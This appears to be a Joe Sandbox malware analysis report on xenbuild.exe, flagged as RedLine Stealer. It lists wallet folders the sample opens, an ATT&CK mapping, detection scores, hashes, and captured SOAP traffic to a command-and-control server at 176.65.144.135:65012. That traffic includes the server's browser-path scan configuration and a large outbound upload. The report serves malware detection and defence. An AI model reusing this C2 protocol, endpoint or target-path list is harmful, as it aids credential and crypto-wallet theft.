Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: xenbuild.exe, type: SAMPLE
Source: Yara match	File source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xenbuild.exe PID: 7688, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: xenbuild.exe, type: SAMPLE
Source: Yara match	File source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xenbuild.exe PID: 7688, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xenbuild.exe	82%	Virustotal		Browse
xenbuild.exe	85%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
xenbuild.exe	100%	Avira	HEUR/AGEN.1305500

Source	Detection	Scanner	Label
http://176.65.144.135:65012/	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
176.65.144.135:65012	0%	Avira URL Cloud	safe
http://176.65.144.135:65012	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb.cdn.cloudflare.net	172.67.75.172	true	false		high
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://176.65.144.135:65012/	true	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	false		high
176.65.144.135:65012	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	xenbuild.exe	false		high
https://duckduckgo.com/ac/?q=	tmpB21A.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	xenbuild.exe	false		high
http://176.65.144.135:65012	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp, xenbuild.exe, 00000000.00000002.1324597317.0000000002F57000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpB21A.tmp.0.dr	false		high
https://ac.ecosia.org?q=	tmpB21A.tmp.0.dr	false		high
http://tempuri.org/	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, xenbuild.exe, 00000000.00000002.1324597317.0000000002F57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnect	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironment	xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironmentResponse	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdates	xenbuild.exe, 00000000.00000002.1324597317.0000000002F57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	false		high
https://www.ecosia.org/newtab/v20	tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	xenbuild.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv20	tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp7B15.tmp.0.dr, tmp7AC2.tmp.0.dr, tmp7AE3.tmp.0.dr, tmp7B04.tmp.0.dr, tmpB1E7.tmp.0.dr, tmpB1E6.tmp.0.dr, tmp7AF3.tmp.0.dr, tmp7B25.tmp.0.dr, tmpB209.tmp.0.dr, tmpB208.tmp.0.dr, tmpB1F7.tmp.0.dr, tmpB21A.tmp.0.dr	false		high
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/0	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpB21A.tmp.0.dr	false		high
https://gemini.google.com/app?q=	tmpB21A.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	xenbuild.exe, 00000000.00000002.1324597317.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.75.172	api.ip.sb.cdn.cloudflare.net	United States		13335	CLOUDFLARENETUS	false
176.65.144.135	unknown	Germany		12975	PALTEL-ASPALTELAutonomousSystemPS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643085
Start date and time:	2025-03-19 14:14:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xenbuild.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/43@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 31 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 52.149.20.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:15:19	API Interceptor	45x Sleep call for process: xenbuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.75.172	file.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	ip.sb/
176.65.144.135	mF6d952oso.exe	Get hash	malicious	RedLine	Browse	176.65.144.135:65012/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ip.sb.cdn.cloudflare.net	PBB3CEIFOd.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	rBhzchsT4L.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	QUOTATION#006565.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	Order 20201103.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	PfOHmro.exe	Get hash	malicious	MicroClip, RedLine	Browse	104.26.12.31
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	104.26.12.31
	PalEak0Yh6.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	Z6ojPnRBp1.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	UVFpX7iieV.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	MG9rMQUxSR.exe	Get hash	malicious	RedLine	Browse	104.26.13.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	dW2A04h.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random(4).exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	ZqkKpwG.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127
	Message.eml	Get hash	malicious	Unknown	Browse	104.16.79.73
	random(9).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.210.5
	https://krekoii-logi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
	https://kreakeunlgien.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	imv-corp(ref0467) #U3010#U6ce8#U6587#U66f8#U3011sales Agreement WP2501001152 WP2501001159.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://fatty.io	Get hash	malicious	Unknown	Browse	104.21.84.205
PALTEL-ASPALTELAutonomousSystemPS	VIK.ps1.vir.txt.ps1	Get hash	malicious	AgentTesla	Browse	176.65.144.3
	devil.ps1.vir.txt.ps1	Get hash	malicious	AgentTesla	Browse	176.65.144.3
	money.ps1.txt.ps1	Get hash	malicious	AgentTesla	Browse	176.65.144.3
	verynicewomenformygirlfriend.hta	Get hash	malicious	Cobalt Strike, GuLoader, Remcos	Browse	176.65.139.88
	kim.ps1.txt.ps1	Get hash	malicious	Stealerium	Browse	176.65.144.3
	39h66rab6ub.ps1v.ps1	Get hash	malicious	XWorm	Browse	176.65.144.14
	20ibms9ldyp.ps1v.ps1	Get hash	malicious	Quasar	Browse	176.65.144.14
	e31ogy9nmot.ps1v.ps1	Get hash	malicious	Quasar	Browse	176.65.144.14
	3469axv4i2w.ps1v.ps1	Get hash	malicious	XWorm	Browse	176.65.144.14
	w88npb4h2z9.ps1	Get hash	malicious	Quasar	Browse	176.65.144.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	imv-corp(ref0467) #U3010#U6ce8#U6587#U66f8#U3011sales Agreement WP2501001152 WP2501001159.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	SecuriteInfo.com.Win32.MalwareX-gen.16427.1083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	rPedidoCota____oPC250009846.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	MM-7925-0224_110_AD.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	rSWIFT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	172.67.75.172
	New Purchase Order.exe	Get hash	malicious	MSIL Logger, MassLogger RAT, XRed	Browse	172.67.75.172
	SecuriteInfo.com.Win32.MalwareX-gen.10462.29769.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	New Order Inquiry.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	172.67.75.172
	1.exe	Get hash	malicious	VIP Keylogger	Browse	172.67.75.172
	4TzgZLxH2u.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	172.67.75.172

Process:	C:\Users\user\Desktop\xenbuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpH8HKoLHG1qU:vq5qxqdqolqztYqh3oPtI6mq7qoT5Jcg
MD5:	D62F48AD1C574C706287B11959909E66
SHA1:	3183BD5004655E120548C52BA5E05877010613A8
SHA-256:	1DFA5DECDAB8D39587BD273D03C8DB7B99505857EE03D85D0FBF54C26058B5CC
SHA-512:	B9D435EF6FC4089169CFA82ED227D69BB221BD02F7670E79C8DF9B4A43D940889BDEA8EDAF24889FF24A942B33AC361C7FBF505E58364A7389C64C76261C3D7D
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960740747739011
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	xenbuild.exe
File size:	97'792 bytes
MD5:	18cc3a391f8151ff2bb92cca95fc7c70
SHA1:	5be305a05da65663672c7f3836ac47a0c98b678a
SHA256:	324d99c862a6d3a56d35a201050f1218cab254bb4f0c719a1191e19adfcb8e02
SHA512:	d68055f2eaff5bb57836ad226f044ae43db93bb55ed52cf2a86256a69ce8622e17a7b2e9469a22e3f3da00bb9f45f907eceef5b060387332346f6ea7a0d6f0e5
SSDEEP:	1536:FqsChaqpalbG6jejoigIP43Ywzi0Zb78ivombfexv0ujXyyed2RtmulgS6pQl:DoaKaYP+zi0ZbYe1g0ujyzdRQ
TLSH:	8CA35D20679C9F19EAFD1B74B4B2012043F1E08A9091FB4B4DC194E71FA7B866957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@................................

Entrypoint:	0x41933e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192e8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17344	0x17400	8f448a8c786d8026d836a7d9a5487abb	False	0.4487357190860215	data	6.015801460666834	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	89ebbf373068a00e5c68d2ac72a26374	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Description	Data
Translation	0x0000 0x04b0
FileDescription
FileVersion	0.0.0.0
InternalName	Implosions.exe
LegalCopyright
OriginalFilename	Implosions.exe
ProductVersion	0.0.0.0
Assembly Version	0.0.0.0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 14:15:19.863292933 CET	58819	53	192.168.2.4	1.1.1.1
Mar 19, 2025 14:15:19.870014906 CET	53	58819	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 14:15:13.774220943 CET	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 176.65.144.135:65012 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Mar 19, 2025 14:15:14.368609905 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 19 Mar 2025 13:15:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Mar 19, 2025 14:15:19.444462061 CET	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 176.65.144.135:65012 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Mar 19, 2025 14:15:19.800370932 CET	25	IN	HTTP/1.1 100 Continue
Mar 19, 2025 14:15:19.823093891 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 4792 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 19 Mar 2025 13:15:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>121.227.217.61</b:string></a:BlockedIP><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\ [TRUNCATED]

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 14:15:22.736382008 CET	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 176.65.144.135:65012 Content-Length: 928190 Expect: 100-continue Accept-Encoding: gzip, deflate
